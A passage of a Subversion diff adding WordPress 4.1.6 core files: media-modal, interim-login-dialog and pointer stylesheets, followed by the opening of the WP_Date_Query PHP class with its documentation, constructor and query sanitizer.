+	content: '\f142';
+}
+
+.image-details .embed-media-settings .size {
+	margin-bottom: 4px;
+}
+
+.image-details .custom-size span {
+	display: block;
+}
+
+.image-details .custom-size label {
+	display: block;
+	float: left;
+}
+
+.image-details .custom-size span small {
+	color: #999;
+	font-size: inherit;
+}
+
+.image-details .custom-size input {
+	width: 5em;
+}
+
+.image-details .custom-size .sep {
+	float: left;
+	margin: 26px 6px 0 6px;
+}
+
+.image-details .custom-size:after {
+	content: '';
+	display: table;
+	clear: both;
+}
+
+.media-embed .thumbnail {
+	max-width: 100%;
+	max-height: 200px;
+	position: relative;
+	float: left;
+}
+
+.media-embed .thumbnail img {
+	max-height: 200px;
+	display: block;
+}
+
+.media-embed .thumbnail:after {
+	content: '';
+	display: block;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	-webkit-box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.1 );
+	box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.1 );
+	overflow: hidden;
+}
+
+.media-embed .setting {
+	width: 100%;
+	margin: 10px 0;
+	float: left;
+	display: block;
+	clear: both;
+}
+
+.image-details .embed-media-settings .setting {
+	float: none;
+	width: auto;
+}
+
+.image-details .actions {
+	margin: 10px 0;
+}
+
+.image-details .hidden {
+	display: none;
+}
+
+.media-embed .setting input[type="text"],
+.media-embed .setting textarea {
+	display: block;
+	width: 100%;
+	max-width: 400px;
+	margin: 1px 0;
+}
+
+.image-details .embed-media-settings .setting input[type="text"],
+.image-details .embed-media-settings .setting textarea {
+	max-width: inherit;
+	width: 70%;
+}
+
+.image-details .embed-media-settings .setting input.link-to-custom,
+.image-details .embed-media-settings .link-target,
+.image-details .embed-media-settings .custom-size {
+	margin-left: 27%;
+	width: 70%;
+}
+
+.image-details .embed-media-settings .link-target {
+	margin-top: 24px;
+}
+
+.media-embed .setting input.hidden,
+.media-embed .setting textarea.hidden {
+	display: none;
+}
+
+.media-embed .setting span {
+	display: block;
+	width: 200px;
+	font-size: 13px;
+	line-height: 24px;
+	color: #666;
+}
+
+.image-details .embed-media-settings .setting span {
+	float: left;
+	width: 25%;
+	text-align: right;
+	margin: 8px 1% 0 1%;
+	line-height: 1.1;
+}
+
+.media-embed .setting .button-group {
+	margin: 2px 0;
+}
+
+.media-embed-sidebar {
+	position: absolute;
+	top: 0;
+	left: 440px;
+}
+
+.advanced-section,
+.link-settings {
+	margin-top: 10px;
+}
+
+/* Drag & drop on the editor upload */
+#wp-fullscreen-body .uploader-editor,
+.wp-editor-wrap .uploader-editor {
+	background: rgba( 150, 150, 150, 0.9 );
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+	height: 100%;
+	z-index: 99998; /* under the toolbar */
+	display: none;
+	text-align: center;
+}
+
+#wp-fullscreen-body .uploader-editor {
+	background: rgba( 0, 86, 132, 0.9 );
+	position: fixed;
+	z-index: 100050; /* above the editor toolbar */
+}
+
+.wp-editor-wrap.wp-fullscreen-wrap .uploader-editor {
+	opacity: 0;
+}
+
+#wp-fullscreen-body .uploader-editor-content,
+.wp-editor-wrap .uploader-editor-content {
+	border: 1px dashed #fff;
+	position: absolute;
+	top: 10px;
+	left: 10px;
+	right: 10px;
+	bottom: 10px;
+}
+
+#wp-fullscreen-body .uploader-editor .uploader-editor-title,
+.wp-editor-wrap .uploader-editor .uploader-editor-title {
+	position: absolute;
+	top: 50%;
+	left: 0;
+	right: 0;
+	-webkit-transform: translateY( -50% );
+	-ms-transform: translateY(-50%);
+	transform: translateY( -50% );
+	font-size: 3em;
+	line-height: 1.3;
+	font-weight: bold;
+	color: #fff;
+	padding: 0;
+	margin: 0;
+	display: none;
+}
+
+.wp-editor-wrap .uploader-editor.droppable {
+	background: rgba( 0, 86, 132, 0.9 );
+}
+
+#wp-fullscreen-body .uploader-editor .uploader-editor-title,
+.wp-editor-wrap .uploader-editor.droppable .uploader-editor-title {
+	display: block;
+}
+
+/**
+ * IE7 Fixes
+ */
+.ie7 .media-frame .attachments-browser {
+	position: static;
+}
+
+.ie7 .media-frame .embed-url input {
+	margin-top: 4px;
+	width: 90%;
+}
+
+.ie7 .compat-item {
+	width: 99%;
+}
+
+.ie7 .attachment-display-settings {
+	width: auto;
+}
+
+.ie7 .attachment-preview,
+.ie7 .attachment-preview .thumbnail {
+	width: 120px;
+	height: 120px;
+}
+
+.ie7 .media-frame .attachment .describe {
+	width: 102px;
+}
+
+.ie7 .media-sidebar .setting select {
+	max-width: 55%;
+}
+
+.ie7 .media-sidebar .setting input[type="text"],
+.ie7 .media-sidebar .setting input[type="password"],
+.ie7 .media-sidebar .setting input[type="email"],
+.ie7 .media-sidebar .setting input[type="number"],
+.ie7 .media-sidebar .setting input[type="search"],
+.ie7 .media-sidebar .setting input[type="tel"],
+.ie7 .media-sidebar .setting input[type="url"],
+.ie7 .media-sidebar .setting textarea {
+	width: 55%;
+}
+
+.ie7 .media-sidebar .setting .link-to-custom {
+	float: left;
+}
+
+/**
+ * Localization
+ */
+.rtl .media-modal,
+.rtl .media-frame,
+.rtl .media-frame .search,
+.rtl .media-frame input[type="text"],
+.rtl .media-frame input[type="password"],
+.rtl .media-frame input[type="number"],
+.rtl .media-frame input[type="search"],
+.rtl .media-frame input[type="email"],
+.rtl .media-frame input[type="url"],
+.rtl .media-frame input[type="tel"],
+.rtl .media-frame textarea,
+.rtl .media-frame select {
+	font-family: Tahoma, sans-serif;
+}
+
+:lang(he-il) .rtl .media-modal,
+:lang(he-il) .rtl .media-frame,
+:lang(he-il) .rtl .media-frame .search,
+:lang(he-il) .rtl .media-frame input[type="text"],
+:lang(he-il) .rtl .media-frame input[type="password"],
+:lang(he-il) .rtl .media-frame input[type="number"],
+:lang(he-il) .rtl .media-frame input[type="search"],
+:lang(he-il) .rtl .media-frame input[type="email"],
+:lang(he-il) .rtl .media-frame input[type="url"],
+:lang(he-il) .rtl .media-frame textarea,
+:lang(he-il) .rtl .media-frame select {
+	font-family: Arial, sans-serif;
+}
+
+/**
+ * Responsive layout
+ */
+@media only screen and (max-width: 900px) {
+
+	/* Drop-down menu */
+	.media-frame:not(.hide-menu) .media-frame-title,
+	.media-frame:not(.hide-menu) .media-frame-router,
+	.media-frame:not(.hide-menu) .media-frame-content,
+	.media-frame:not(.hide-menu) .media-frame-toolbar {
+		left: 0;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-menu {
+		position: static;
+		width: 0;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu {
+		width: auto;
+		max-width: 80%;
+		overflow: auto;
+		z-index: 2000;
+		top: 50px;
+		left: -300px;
+		right: auto;
+		bottom: auto;
+		padding: 5px 0;
+		border: 1px solid #ccc;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu.visible {
+		left: 0;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu > a {
+		padding: 12px 16px;
+		font-size: 16px;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu > a.active {
+		display: none;
+	}
+
+	.media-frame:not(.hide-menu) .media-menu .separator {
+		margin: 5px 10px;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-title {
+		left: 0;
+		color: #21759b;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-title .dashicons {
+		display: inline-block;
+		line-height: 50px;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-title h1 {
+		line-height: 3;
+		font-size: 18px;
+		float: left;
+		cursor: pointer;
+	}
+	/* End drop-down menu */
+
+	.media-sidebar {
+		width: 230px;
+	}
+
+	.attachments-browser .attachments,
+	.attachments-browser .uploader-inline,
+	.attachments-browser .media-toolbar {
+		right: 262px;
+	}
+
+	.media-sidebar .setting,
+	.attachment-details .setting {
+		margin: 6px 0px;
+	}
+
+	.media-sidebar .setting input,
+	.media-sidebar .setting textarea,
+	.media-sidebar .setting span,
+	.attachment-details .setting input,
+	.attachment-details .setting textarea,
+	.attachment-details .setting span,
+	.compat-item label span {
+		float: none;
+	}
+
+	.media-sidebar .setting span,
+	.attachment-details .setting span,
+	.compat-item label span {
+		text-align: inherit;
+		min-height: 16px;
+		margin: 0;
+		padding: 8px 2px 0;
+	}
+
+	.media-sidebar .setting .value,
+	.attachment-details .setting .value {
+		float: none;
+		width: auto;
+	}
+
+	.media-sidebar .setting input[type="text"],
+	.media-sidebar .setting input[type="password"],
+	.media-sidebar .setting input[type="email"],
+	.media-sidebar .setting input[type="number"],
+	.media-sidebar .setting input[type="search"],
+	.media-sidebar .setting input[type="tel"],
+	.media-sidebar .setting input[type="url"],
+	.media-sidebar .setting textarea,
+	.media-sidebar .setting select,
+	.attachment-details .setting input[type="text"],
+	.attachment-details .setting input[type="password"],
+	.attachment-details .setting input[type="email"],
+	.attachment-details .setting input[type="number"],
+	.attachment-details .setting input[type="search"],
+	.attachment-details .setting input[type="tel"],
+	.attachment-details .setting input[type="url"],
+	.attachment-details .setting textarea,
+	.attachment-details .setting select {
+		float: none;
+		width: 98%;
+		max-width: none;
+		height: auto;
+	}
+
+	.media-sidebar .setting select.columns,
+	.attachment-details .setting select.columns {
+		width: auto;
+	}
+
+	.media-frame input,
+	.media-frame textarea,
+	.media-frame .search {
+		padding: 3px 6px;
+	}
+
+	.image-details .column-image {
+		width: 30%;
+		left: 70%;
+	}
+
+	.image-details .column-settings {
+		width: 70%;
+	}
+
+	.image-details .media-modal {
+		left: 30px;
+		right: 30px;
+	}
+
+	.image-details .embed-media-settings .setting {
+		margin: 20px;
+	}
+
+	.image-details .embed-media-settings .setting span {
+		float: none;
+		text-align: left;
+		width: 100%;
+		margin-bottom: 4px;
+	}
+
+	.image-details .embed-media-settings .setting input.link-to-custom,
+	.image-details .embed-media-settings .setting input[type="text"],
+	.image-details .embed-media-settings .setting textarea {
+		width: 100%;
+		margin-left: 0;
+	}
+
+	.image-details .embed-media-settings .custom-size {
+		margin-left: 20px;
+	}
+
+	.collection-settings .setting input[type="checkbox"] {
+		margin-top: 0;
+	}
+
+	.media-selection {
+		min-width: 120px;
+	}
+
+	.media-selection:after {
+		background: none;
+	}
+
+	.media-selection .attachments {
+		display: none;
+	}
+
+	.media-modal .attachments-browser .media-toolbar .search {
+		max-width: 100%;
+		height: auto;
+		float: right;
+	}
+
+	.media-modal .attachments-browser .media-toolbar .attachment-filters {
+		height: auto;
+	}
+
+	.media-modal .attachments-browser .media-toolbar .spinner {
+		margin: 14px 8px 0;
+	}
+
+	/* Text inputs need to be 16px, or they force zooming on iOS */
+	.media-frame input[type="text"],
+	.media-frame input[type="password"],
+	.media-frame input[type="number"],
+	.media-frame input[type="search"],
+	.media-frame input[type="email"],
+	.media-frame input[type="url"],
+	.media-frame textarea,
+	.media-frame select {
+		font-size: 16px;
+	}
+}
+
+/* Responsive on portrait and landscape */
+@media only screen and (max-width: 640px), screen and (max-height: 400px) {
+	/* Full-bleed modal */
+	.media-modal,
+	.image-details .media-modal {
+		position: fixed;
+		top: 0;
+		left: 0;
+		right: 0;
+		bottom: 0;
+	}
+
+	.media-modal-backdrop {
+		position: fixed;
+	}
+
+	.media-sidebar {
+		z-index: 1900;
+		max-width: 70%;
+		bottom: 120%;
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing: border-box;
+		box-sizing: border-box;
+		padding-bottom: 0;
+	}
+
+	.media-sidebar.visible {
+		bottom: 0;
+	}
+
+	.attachments-browser .attachments,
+	.attachments-browser .uploader-inline,
+	.attachments-browser .media-toolbar {
+		right: 0;
+	}
+
+	.image-details .media-frame-title {
+		display: block;
+		top: 0;
+		font-size: 14px;
+	}
+
+	.image-details .column-image,
+	.image-details .column-settings {
+		width: 100%;
+		position: relative;
+		left: 0;
+	}
+
+	.image-details .column-settings {
+		padding: 4px 0;
+	}
+
+	/* Media tabs on the top */
+	.media-frame-content .media-toolbar .instructions {
+		display: none;
+	}
+}
+
+/* Landscape specific header override */
+@media screen and (max-height: 400px) {
+	.media-menu {
+		padding: 0;
+	}
+
+	.media-frame-router {
+		top: 44px;
+	}
+
+	.media-frame-content {
+		top: 78px;
+	}
+
+	.attachments-browser .attachments {
+		top: 40px;
+	}
+
+	/* Prevent unnecessary scrolling on title input */
+	.embed-link-settings {
+		overflow: visible;
+	}
+}
+
+@media only screen and (max-width: 480px) {
+	.media-modal-close {
+		top: 5px;
+		right: 5px;
+	}
+
+	.media-modal .media-frame-title {
+		height: 40px;
+	}
+
+	.media-modal .media-frame-title h1,
+	.media-frame:not(.hide-menu) .media-frame-title h1 {
+		font-size: 18px;
+		line-height: 40px;
+	}
+
+	.media-frame:not(.hide-menu) .media-frame-title .dashicons {
+		line-height: 40px;
+	}
+
+	.media-frame-router,
+	.media-frame:not(.hide-menu) .media-menu {
+		top: 40px;
+	}
+
+	.media-frame-content {
+		top: 74px;
+	}
+
+	.media-frame.hide-router .media-frame-content {
+		top: 40px;
+	}
+}
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-o-min-device-pixel-ratio: 5/4),
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+
+	.media-modal-icon {
+		background-image: url(../images/uploader-icons-2x.png);
+		-webkit-background-size: 134px 15px;
+		background-size: 134px 15px;
+	}
+
+	.media-frame .spinner {
+		background-image: url(../images/spinner-2x.gif);
+	}
+}
+
+.media-frame-content[data-columns="1"] .attachment {
+	width: 100%;
+}
+
+.media-frame-content[data-columns="2"] .attachment {
+	width: 50%;
+}
+
+.media-frame-content[data-columns="3"] .attachment {
+	width: 33.33%;
+}
+
+.media-frame-content[data-columns="4"] .attachment {
+	width: 25%;
+}
+
+.media-frame-content[data-columns="5"] .attachment {
+	width: 20%;
+}
+
+.media-frame-content[data-columns="6"] .attachment {
+	width: 16.66%;
+}
+
+.media-frame-content[data-columns="7"] .attachment {
+	width: 14.28%;
+}
+
+.media-frame-content[data-columns="8"] .attachment {
+	width: 12.5%;
+}
+
+.media-frame-content[data-columns="9"] .attachment {
+	width: 11.11%;
+}
+
+.media-frame-content[data-columns="10"] .attachment {
+	width: 10%;
+}
+
+.media-frame-content[data-columns="11"] .attachment {
+	width: 9.09%;
+}
+
+.media-frame-content[data-columns="12"] .attachment {
+	width: 8.33%;
+}
Index: /tags/4.1.6/src/wp-includes/css/wp-auth-check.css
===================================================================
--- /tags/4.1.6/src/wp-includes/css/wp-auth-check.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/css/wp-auth-check.css	(revision 33402)
@@ -0,0 +1,100 @@
+/*------------------------------------------------------------------------------
+ Interim login dialog
+------------------------------------------------------------------------------*/
+
+#wp-auth-check-wrap.hidden {
+	display: none;
+}
+
+#wp-auth-check-wrap #wp-auth-check-bg {
+	position: fixed;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 1000010; /* needs to appear above .notification-dialog */
+}
+
+#wp-auth-check-wrap #wp-auth-check {
+	position: fixed;
+	left: 50%;
+	overflow: hidden;
+	top: 40px;
+	bottom: 20px;
+	max-height: 415px;
+	width: 380px;
+	margin: 0 0 0 -190px;
+	padding: 30px 0 0;
+	background-color: #eee;
+	z-index: 1000011; /* needs to appear above #wp-auth-check-bg */
+	-webkit-box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+}
+
+#wp-auth-check-wrap.fallback #wp-auth-check {
+	max-height: 180px;
+	overflow: auto;
+}
+
+#wp-auth-check-wrap #wp-auth-check-form {
+	background: url(../images/wpspin-2x.gif) no-repeat center center;
+	-webkit-background-size: 16px 16px;
+	background-size: 16px 16px;
+	height: 100%;
+}
+
+#wp-auth-check-wrap #wp-auth-check-form iframe {
+	height: 100%;
+	width: 100%;
+	overflow: auto;
+}
+
+#wp-auth-check-wrap .wp-auth-check-close {
+	position: absolute;
+	top: 8px;
+	right: 8px;
+	height: 22px;
+	width: 22px;
+	cursor: pointer;
+}
+
+#wp-auth-check-wrap .wp-auth-check-close:before {
+	content: '\f158';
+	display: block !important;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	height: 22px;
+	margin: 2px 0;
+	text-align: center;
+	width: 22px;
+	color: #777;
+	-webkit-font-smoothing: antialiased !important;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#wp-auth-check-wrap .wp-auth-check-close:hover:before {
+	color: #0074a2;
+}
+
+#wp-auth-check-wrap .wp-auth-check-close:focus {
+	outline: 1px dotted #888;
+}
+
+#wp-auth-check-wrap .wp-auth-fallback-expired {
+	outline: 0;
+}
+
+#wp-auth-check-wrap .wp-auth-fallback {
+	font-size: 14px;
+	line-height: 21px;
+	padding: 0 25px;
+	display: none;
+}
+
+#wp-auth-check-wrap.fallback .wp-auth-fallback,
+#wp-auth-check-wrap.fallback .wp-auth-check-close {
+	display: block;
+}
Index: /tags/4.1.6/src/wp-includes/css/wp-pointer.css
===================================================================
--- /tags/4.1.6/src/wp-includes/css/wp-pointer.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/css/wp-pointer.css	(revision 33402)
@@ -0,0 +1,212 @@
+.wp-pointer-content {
+	padding: 0 0 10px;
+	position: relative;
+	font-size: 13px;
+	background: #fff;
+	border: 1px solid #dfdfdf;
+	-webkit-box-shadow: 0 3px 6px rgba(0,0,0,0.075);
+	box-shadow: 0 3px 6px rgba(0,0,0,0.075);
+}
+
+.wp-pointer-content h3 {
+	position: relative;
+	margin: -1px -1px 5px;
+	padding: 15px 18px 14px 60px;
+	border: 1px solid #3592b6;
+	border-bottom: none;
+	line-height: 1.4em;
+	font-size: 14px;
+	color: #fff;
+	background: #2ea2cc;
+}
+
+.wp-pointer-content h3:before {
+	background: #fff;
+	-webkit-border-radius: 50%;
+	border-radius: 50%;
+	color: #2ea2cc;
+	content: '\f227';
+	font: normal 20px/1.6 'dashicons';
+	position: absolute;
+	top: 8px;
+	left: 15px;
+	speak: none;
+	text-align: center;
+	width: 32px;
+	height: 32px;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.wp-pointer-content p {
+	padding: 0 15px;
+}
+
+.wp-pointer-buttons {
+	margin: 0;
+	padding: 5px 15px;
+	overflow: auto;
+}
+
+.wp-pointer-buttons a {
+	float: right;
+	display: inline-block;
+	text-decoration: none;
+}
+
+.wp-pointer-buttons a.close {
+	padding-left: 3px;
+	position: relative;
+}
+
+.wp-pointer-buttons a.close:before {
+	background: none;
+	color: #bbb;
+	content: '\f153';
+	display: block !important;
+	font: normal 13px/1 'dashicons';
+	speak: none;
+	margin: 1px 0;
+	text-align: center;
+	-webkit-font-smoothing: antialiased !important;
+	width: 10px;
+	height: 100%;
+	position: absolute;
+	left: -12px;
+	top: 1px;
+}
+
+.wp-pointer-buttons a.close:hover:before {
+	color: #c00;
+}
+
+/* The arrow base class must take up no space, even with transparent borders. */
+.wp-pointer-arrow,
+.wp-pointer-arrow-inner {
+	position: absolute;
+	width: 0;
+	height: 0;
+}
+
+.wp-pointer-arrow {
+	z-index: 10;
+	width: 0;
+	height: 0;
+	border: 0 solid transparent;
+}
+
+.wp-pointer-arrow-inner {
+	z-index: 20;
+}
+
+/* Make Room for the Arrow! */
+.wp-pointer-top,
+.wp-pointer-undefined {
+	padding-top: 13px;
+}
+
+.wp-pointer-bottom {
+	margin-top: -13px;
+	padding-bottom: 13px;
+}
+
+/* @noflip */
+.wp-pointer-left {
+	padding-left: 13px;
+}
+/* @noflip */
+.wp-pointer-right {
+	margin-left: -13px;
+	padding-right: 13px;
+}
+
+/* Base Size & Positioning */
+.wp-pointer-top .wp-pointer-arrow,
+.wp-pointer-bottom .wp-pointer-arrow,
+.wp-pointer-undefined .wp-pointer-arrow {
+	left: 50px;
+}
+
+.wp-pointer-left .wp-pointer-arrow,
+.wp-pointer-right .wp-pointer-arrow {
+	top: 50%;
+	margin-top: -15px;
+}
+
+/* Arrow Sprite */
+.wp-pointer-top .wp-pointer-arrow,
+.wp-pointer-undefined .wp-pointer-arrow {
+	top: 0;
+	border-width: 0 13px 13px 13px;
+	border-bottom-color: #3592b6;
+}
+
+.wp-pointer-top .wp-pointer-arrow-inner,
+.wp-pointer-undefined .wp-pointer-arrow-inner {
+	top: 1px;
+	margin-left: -13px;
+	margin-top: -13px;
+	border: 13px solid transparent;
+	border-bottom-color: #2ea2cc;
+	display: block;
+	content: ' ';
+}
+
+.wp-pointer-bottom .wp-pointer-arrow {
+	bottom: 0;
+	border-width: 13px 13px 0 13px;
+	border-top-color: #ccc;
+}
+
+.wp-pointer-bottom .wp-pointer-arrow-inner {
+	bottom: 1px;
+	margin-left: -13px;
+	margin-bottom: -13px;
+	border: 13px solid transparent;
+	border-top-color: #fff;
+	display: block;
+	content: ' ';
+}
+
+/* @noflip */
+.wp-pointer-left .wp-pointer-arrow {
+	left: 0;
+	border-width: 13px 13px 13px 0;
+	border-right-color: #ccc;
+}
+
+/* @noflip */
+.wp-pointer-left .wp-pointer-arrow-inner {
+	left: 1px;
+	margin-left: -13px;
+	margin-top: -13px;
+	border: 13px solid transparent;
+	border-right-color: #fff;
+	display: block;
+	content: ' ';
+}
+
+/* @noflip */
+.wp-pointer-right .wp-pointer-arrow {
+	right: 0;
+	border-width: 13px 0 13px 13px;
+	border-left-color: #ccc;
+}
+
+/* @noflip */
+.wp-pointer-right .wp-pointer-arrow-inner {
+	right: 1px;
+	margin-right: -13px;
+	margin-top: -13px;
+	border: 13px solid transparent;
+	border-left-color: #fff;
+	display: block;
+	content: ' ';
+}
+
+/* Disable pointers at responsive sizes */
+@media screen and ( max-width: 782px ) {
+	.wp-pointer {
+		display: none;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/date.php
===================================================================
--- /tags/4.1.6/src/wp-includes/date.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/date.php	(revision 33402)
@@ -0,0 +1,1005 @@
+<?php
+/**
+ * Class for generating SQL clauses that filter a primary query according to date.
+ *
+ * `WP_Date_Query` is a helper that allows primary query classes, such as {@see WP_Query},
+ * to filter their results by date columns, by generating `WHERE` subclauses to be attached
+ * to the primary SQL query string.
+ *
+ * Attempting to filter by an invalid date value (eg month=13) will generate SQL that will
+ * return no results. In these cases, a _doing_it_wrong() error notice is also thrown.
+ * See {@link WP_Date_Query::validate_date_values()}.
+ *
+ * @link http://codex.wordpress.org/Function_Reference/WP_Query Codex page.
+ *
+ * @since 3.7.0
+ */
+class WP_Date_Query {
+	/**
+	 * Array of date queries.
+	 *
+	 * See {@see WP_Date_Query::__construct()} for information on date query arguments.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 * @var array
+	 */
+	public $queries = array();
+
+	/**
+	 * The default relation between top-level queries. Can be either 'AND' or 'OR'.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 * @var string
+	 */
+	public $relation = 'AND';
+
+	/**
+	 * The column to query against. Can be changed via the query arguments.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 * @var string
+	 */
+	public $column = 'post_date';
+
+	/**
+	 * The value comparison operator. Can be changed via the query arguments.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 * @var array
+	 */
+	public $compare = '=';
+
+	/**
+	 * Supported time-related parameter keys.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var array
+	 */
+	public $time_keys = array( 'after', 'before', 'year', 'month', 'monthnum', 'week', 'w', 'dayofyear', 'day', 'dayofweek', 'dayofweek_iso', 'hour', 'minute', 'second' );
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.7.0
+	 * @since 4.0.0 The $inclusive logic was updated to include all times within the date range.
+	 * @since 4.1.0 Introduced 'dayofweek_iso' time type parameter.
+	 * @access public
+	 *
+	 * @param array $date_query {
+	 *     Array of date query clauses.
+	 *
+	 *     @type array {
+	 *         @type string $column   Optional. The column to query against. If undefined, inherits the value of
+	 *                                the $default_column parameter. Default 'post_date'. Accepts 'post_date',
+	 *                                'post_date_gmt', 'post_modified','post_modified_gmt', 'comment_date',
+	 *                                'comment_date_gmt'.
+	 *         @type string $compare  Optional. The comparison operator.
+	 *                                Accepts '=', '!=', '>', '>=', '<', '<=', 'IN', 'NOT IN'. Default '='.
+	 *                                'BETWEEN', 'NOT BETWEEN'.
+	 *         @type string $relation Optional. The boolean relationship between the date queries.
+	 *                                Accepts 'OR', 'AND'. Default 'OR'.
+	 *         @type array {
+	 *             Optional. An array of first-order clause parameters, or another fully-formed date query.
+	 *
+	 *             @type string|array $before Optional. Date to retrieve posts before. Accepts strtotime()-compatible
+	 *                                        string, or array of 'year', 'month', 'day' values. {
+	 *
+	 *                 @type string $year  The four-digit year. Default empty. Accepts any four-digit year.
+	 *                 @type string $month Optional when passing array.The month of the year.
+	 *                                     Default (string:empty)|(array:1). Accepts numbers 1-12.
+	 *                 @type string $day   Optional when passing array.The day of the month.
+	 *                                     Default (string:empty)|(array:1). Accepts numbers 1-31.
+	 *             }
+	 *             @type string|array $after Optional. Date to retrieve posts after. Accepts strtotime()-compatible
+	 *                                       string, or array of 'year', 'month', 'day' values. {
+	 *
+	 *                 @type string $year  The four-digit year. Default empty. Accepts any four-digit year.
+	 *                 @type string $month Optional when passing array.The month of the year.
+	 *                                     Default (string:empty)|(array:12). Accepts numbers 1-12.
+	 *                 @type string $day   Optional when passing array.The day of the month.
+	 *                                     Default (string:empty)|(array:last day of month). Accepts numbers 1-31.
+	 *             }
+	 *             @type string       $column    Optional. Used to add a clause comparing a column other than the column
+	 *                                           specified in the top-level $column parameter.  Default is the value
+	 *                                           of top-level $column. Accepts 'post_date', 'post_date_gmt',
+	 *                                           'post_modified', 'post_modified_gmt', 'comment_date', 'comment_date_gmt'.
+	 *             @type string       $compare       Optional. The comparison operator. Default '='.
+	 *                                               Accepts '=', '!=', '>', '>=', '<', '<=', 'IN', 'NOT IN',
+	 *                                               'BETWEEN', 'NOT BETWEEN'.
+	 *             @type bool         $inclusive     Optional. Include results from dates specified in 'before' or
+	 *                                               'after'. Default false.
+	 *             @type int          $year          Optional. The four-digit year number. Default empty. Accepts
+	 *                                               any four-digit year.
+	 *             @type int          $month         Optional. The two-digit month number. Default empty.
+	 *                                               Accepts numbers 1-12.
+	 *             @type int          $week          Optional. The week number of the year. Default empty.
+	 *                                               Accepts numbers 0-53.
+	 *             @type int          $dayofyear     Optional. The day number of the year. Default empty.
+	 *                                               Accepts numbers 1-366.
+	 *             @type int          $day           Optional. The day of the month. Default empty.
+	 *                                               Accepts numbers 1-31.
+	 *             @type int          $dayofweek     Optional. The day number of the week. Default empty.
+	 *                                               Accepts numbers 1-7 (1 is Sunday).
+	 *             @type int          $dayofweek_iso Optional. The day number of the week (ISO). Accepts numbers 1-7
+	 *                                               (1 is Monday). Default empty.
+	 *             @type int          $hour          Optional. The hour of the day. Default empty. Accepts numbers 0-23.
+	 *             @type int          $minute        Optional. The minute of the hour. Default empty. Accepts
+	 *                                               numbers 0-60.
+	 *             @type int          $second        Optional. The second of the minute. Default empty.
+	 *                                               Accepts numbers 0-60.
+	 *         }
+	 *     }
+	 * }
+	 * @param array $default_column Optional. Default column to query against. Default 'post_date'.
+	 *                              Accepts 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt',
+	 *                              'comment_date', 'comment_date_gmt'.
+	 */
+	public function __construct( $date_query, $default_column = 'post_date' ) {
+
+		if ( isset( $date_query['relation'] ) && 'OR' === strtoupper( $date_query['relation'] ) ) {
+			$this->relation = 'OR';
+		} else {
+			$this->relation = 'AND';
+		}
+
+		if ( ! is_array( $date_query ) ) {
+			return;
+		}
+
+		// Support for passing time-based keys in the top level of the $date_query array.
+		if ( ! isset( $date_query[0] ) && ! empty( $date_query ) ) {
+			$date_query = array( $date_query );
+		}
+
+		if ( empty( $date_query ) ) {
+			return;
+		}
+
+		if ( ! empty( $date_query['column'] ) ) {
+			$date_query['column'] = esc_sql( $date_query['column'] );
+		} else {
+			$date_query['column'] = esc_sql( $default_column );
+		}
+
+		$this->column = $this->validate_column( $this->column );
+
+		$this->compare = $this->get_compare( $date_query );
+
+		$this->queries = $this->sanitize_query( $date_query );
+
+		return;
+	}
+
+	/**
+	 * Recursive-friendly query sanitizer.
+	 *
+	 * Ensures that each query-level clause has a 'relation' key, and that
+	 * each first-order clause contains all the necessary keys from
+	 * `$defaults`.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @param array $queries
+	 * @param array $parent_query
+	 *
+	 * @return array Sanitized queries.
+	 */
+	public function sanitize_query( $queries, $parent_query = null ) {
+		$cleaned_query = array();
+
+		$defaults = array(
+			'column'   => 'post_date',
+			'compare'  => '=',
+			'relation' => 'AND',
+		);
+
+		// Numeric keys should always have array values.
+		foreach ( $queries as $qkey => $qvalue ) {
+			if ( is_numeric( $qkey ) && ! is_array( $qvalue ) ) {
+				unset( $queries[ $qkey ] );
+			}
+		}
+
+		// Each query should have a value for each default key. Inherit from the parent when possible.
+		foreach ( $defaults as $dkey => $dvalue ) {
+			if ( isset( $queries[ $dkey ] ) ) {
+				continue;
+			}
+
+			if ( isset( $parent_query[ $dkey ] ) ) {
+				$queries[ $dkey ] = $parent_query[ $dkey ];
+			} else {
+				$queries[ $dkey ] = $dvalue;
+			}
+		}
+
+		// Validate the dates passed in the query.
+		if ( $this->is_first_order_clause( $queries ) ) {
+			$this->validate_date_values( $queries );
+		}
+
+		foreach ( $queries as $key => $q ) {
+			if ( ! is_array( $q ) || in_array( $key, $this->time_keys, true ) ) {
+				// This is a first-order query. Trust the values and sanitize when building SQL.
+				$cleaned_query[ $key ] = $q;
+			} else {
+				// Any array without a time key is another query, so we recurse.
+				$cleaned_query[] = $this->sanitize_query( $q, $queries );
+			}
+		}
+
+		return $cleaned_query;
+	}
+
+	/**
